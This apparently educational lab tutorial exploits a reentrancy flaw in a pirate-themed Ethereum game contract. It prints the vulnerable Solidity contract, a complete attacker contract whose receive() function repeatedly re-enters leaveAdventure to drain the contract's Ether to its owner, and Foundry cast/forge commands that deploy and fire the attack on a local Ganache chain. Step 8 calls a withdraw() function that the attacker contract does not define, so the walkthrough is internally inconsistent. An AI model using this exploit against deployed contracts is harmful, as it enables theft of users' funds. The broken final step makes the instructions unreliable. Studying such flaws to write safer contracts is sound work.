
This article delves into the intricacies of exploiting a common vulnerability in smart contracts, known as a reentrancy attack, using a pirate-themed DApp called “Reentrant Pirate” as our example.
The “Reentrant Pirate” DApp is designed to simulate a treasure hunt game, requiring participants to pay an entry fee of 2 Ether to join. Players can leave the game at any time, albeit with an early exit fee of 1 Ether deducted from their deposit. While the concept appears straightforward, the contract harbors a significant vulnerability that can be exploited to drain its funds.
In this article, we will explore how this reentrancy vulnerability works and demonstrate the steps to exploit it. This example underscores the importance of secure coding practices in the development of smart contracts.
UNDERSTANDING THE CONTRACTS
VULNERABLE CONTRACT : VulnerablePirateAdventure.sol
The VulnerablePirateAdventure.sol contract simulates a pirate-themed adventure game on the Ethereum blockchain. Players can join the adventure by paying an entry fee and leave at any time, albeit with an early exit fee. Here’s a detailed breakdown of its components and functionality:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerablePirateAdventure {
mapping(address => uint256) public pirates;
uint256 public constant entryFee = 2 ether;
uint256 public constant earlyExitFee = 1 ether;
- State Variables
- pirates: A mapping that stores the amount deposited by each player.
- entryFee: A constant that represents the entry fee to join the adventure (2 Ether).
- earlyExitFee: A constant that represents the fee for leaving the adventure early (1 Ether).
// Function for players to join the adventure
function joinAdventure() public payable {
require(msg.value >= entryFee, "Deposit must be at least 2 Ether");
// Record only the entry fee
pirates[msg.sender] = entryFee;
// Refund any excess amount
if (msg.value > entryFee) {
uint256 excessAmount = msg.value - entryFee;
(bool refundSuccess, ) = msg.sender.call{value: excessAmount}("");
require(refundSuccess, "Refund failed");
}
// Log the received value
emit LogReceived(msg.sender, msg.value);
}
event LogReceived(address indexed sender, uint256 value);
- joinAdventure( ) Function
- Players join the adventure by sending at least 2 Ether.
- If the player sends more than 2 Ether, the excess amount is refunded.
- An event LogReceived is emitted to log the transaction.
event LogLeaving(address indexed sender, uint256 deposit, uint256 refund);
// Function to claim the treasure (i.e., withdraw the initial deposit)
function claimTreasure() public {
uint256 treasure = pirates[msg.sender];
require(treasure > 0, "No treasure to claim");
// Update state before making the external call
pirates[msg.sender] = 0;
// Send the Ether back to the user
(bool success, ) = msg.sender.call{value: treasure}("");
require(success, "Transfer failed");
}
- claimTreasure( ) Function:
- Allows players to withdraw their initial deposit.
- Checks if the player has any deposit.
- Sets the player’s deposit to 0 before making the external call to prevent reentrancy attacks.
function leaveAdventure() public {
uint256 deposit = pirates[msg.sender];
require(deposit == entryFee, "Invalid deposit amount");
uint256 refund = deposit - earlyExitFee;
require(refund > 0, "Refund amount must be greater than zero");
emit LogLeaving(msg.sender, deposit, refund);
(bool success, ) = msg.sender.call{value: refund}("");
require(success, "Transfer failed");
pirates[msg.sender] = 0;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
- leaveAdventure( ) Function:
- Allows players to leave the adventure early, deducting an early exit fee of 1 Ether from their deposit.
- The vulnerable part is that the external call to send Ether back to the user is made before updating the state, allowing a reentrancy attack.
- getContractBalance( ) Function:
- Returns the current balance of the contract.
ATTACK CONTRACT : MaliciousContract.sol
The MaliciousContract.sol contract is designed to exploit the reentrancy vulnerability in the VulnerablePirateAdventure.sol contract. Here’s a detailed breakdown of its components and functionality:
pragma solidity ^0.8.0;
import "./VulnerablePirateAdventure.sol";
contract MaliciousContract {
VulnerablePirateAdventure public vulnerableContract;
address public owner;
constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerablePirateAdventure(_vulnerableContractAddress);
owner = msg.sender;
}
- State Variables:
- vulnerableContract: An instance of the vulnerable contract.
- owner: The address of the owner of the malicious contract.
- Constructor:
- Initializes the vulnerableContract with the address of the deployed vulnerable contract.
- Sets the owner of the malicious contract.
function attack() public payable {
require(msg.value >= 2 ether, "Send at least 2 ether to attack");
vulnerableContract.joinAdventure{value: msg.value}();
vulnerableContract.leaveAdventure();
}
- attack Function:
- Allows the attacker to send 2 Ether to the vulnerable contract and join the adventure.
- Immediately calls the leaveAdventure function to exploit the reentrancy vulnerability.
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
vulnerableContract.leaveAdventure();
} else {
payable(owner).transfer(address(this).balance);
}
}
}
- receive Function:
- A fallback function that is triggered when the contract receives Ether.
- If the vulnerable contract’s balance is sufficient, it repeatedly calls the leaveAdventure function.
- Otherwise, it transfers the accumulated Ether back to the owner, effectively draining the vulnerable contract’s funds.
STEPS TO EXPLOIT
STEP 1: Confirm PirateContract has balance
- Go to the Dapp and click on “View Contract Balance” button and see if you have enough ETH in the smart contract, if not just re-enter the Treasure Hunt with different accounts

STEP 2: Downloading and Installing Foundry
- FOR WINDOWS : Download the exe files from here, and save it in your exploit folder
- FOR LINUX : Download the binary files from here, and save it in your exploit folder
STEP 3: Testing Foundry tools like Cast.exe and Forge.exe
- By running the following command check if you can interact with Ganache blockchain with foundry framework
cast.exe send --rpc-url "http://127.0.0.1:7545" --private-key YOUR_PRIVATE_KEY VULNERABLE_CONTRACT_ADDRESS "joinAdventure()" --value 2ether

STEP 4: Deploy the Malicious Contract
- Now, we will deploy the MaliciousContract which will exploit the reentrancy vulnerability.
- Note : All the tools of foundry should be in a folder with both the contract copies.
forge.exe build
forge.exe create ./MaliciousContract.sol:MaliciousContract --rpc-url "http://127.0.0.1:7545" --private-key YOUR_PRIVATE_KEY --constructor-args VULNERABLE_CONTRACT_ADDRESS
- Confirm deployment and note down the “Deployed to” address

STEP 5: Initial balance check of Smart Contracts
- We check the balances of the smart contract.
cast.exe balance VULNERABLE_CONTRACT_ADDRESS --rpc-url "http://127.0.0.1:7545"
cast balance MALICIOUS_CONTRACT_ADDRESS --rpc-url "http://127.0.0.1:7545"

STEP 6: Execute the Attack
- Next, we will execute the attack by calling the attack function of the malicious contract.
cast.exe send --rpc-url "http://127.0.0.1:7545" --private-key YOUR_PRIVATE_KEY MALICIOUS_CONTRACT_ADDRESS "attack()" --value 2ether
- Now Observe the Re-entrancy Attack

STEP 7: Final balance check of Smart Contracts
- Finally, we check the balances of the smart contract again to confirm the exploit.
cast.exe balance VULNERABLE_CONTRACT_ADDRESS --rpc-url "http://127.0.0.1:7545"
cast balance MALICIOUS_CONTRACT_ADDRESS --rpc-url "http://127.0.0.1:7545"

STEP 8: Calling the Withdraw( ) Function
- Now we call the withdraw function to transfer all the fund from malicious smart contract to attackers wallet
cast.exe send --rpc-url "http://127.0.0.1:7545" --private-key YOUR_PRIVATE_KEY MALICIOUS_CONTRACT_ADDRESS "withdraw()"

CONCLUSION
In this tutorial, we’ve walked through the detailed process of exploiting a reentrancy vulnerability in the “Reentrant Pirate” DApp. By deploying and interacting with the vulnerable contract, we demonstrated how an attacker can drain funds using a carefully crafted malicious contract. This practical exercise highlights a critical security flaw that has significant implications for decentralized applications on the Ethereum blockchain.
Reentrancy attacks occur when an external contract call is made before the state of the calling contract is updated. This vulnerability can allow malicious actors to repeatedly call the external contract in a loop, extracting funds with each iteration before the initial contract can finalize its state. As seen in our example, this can lead to substantial financial losses and undermine the trust in decentralized systems.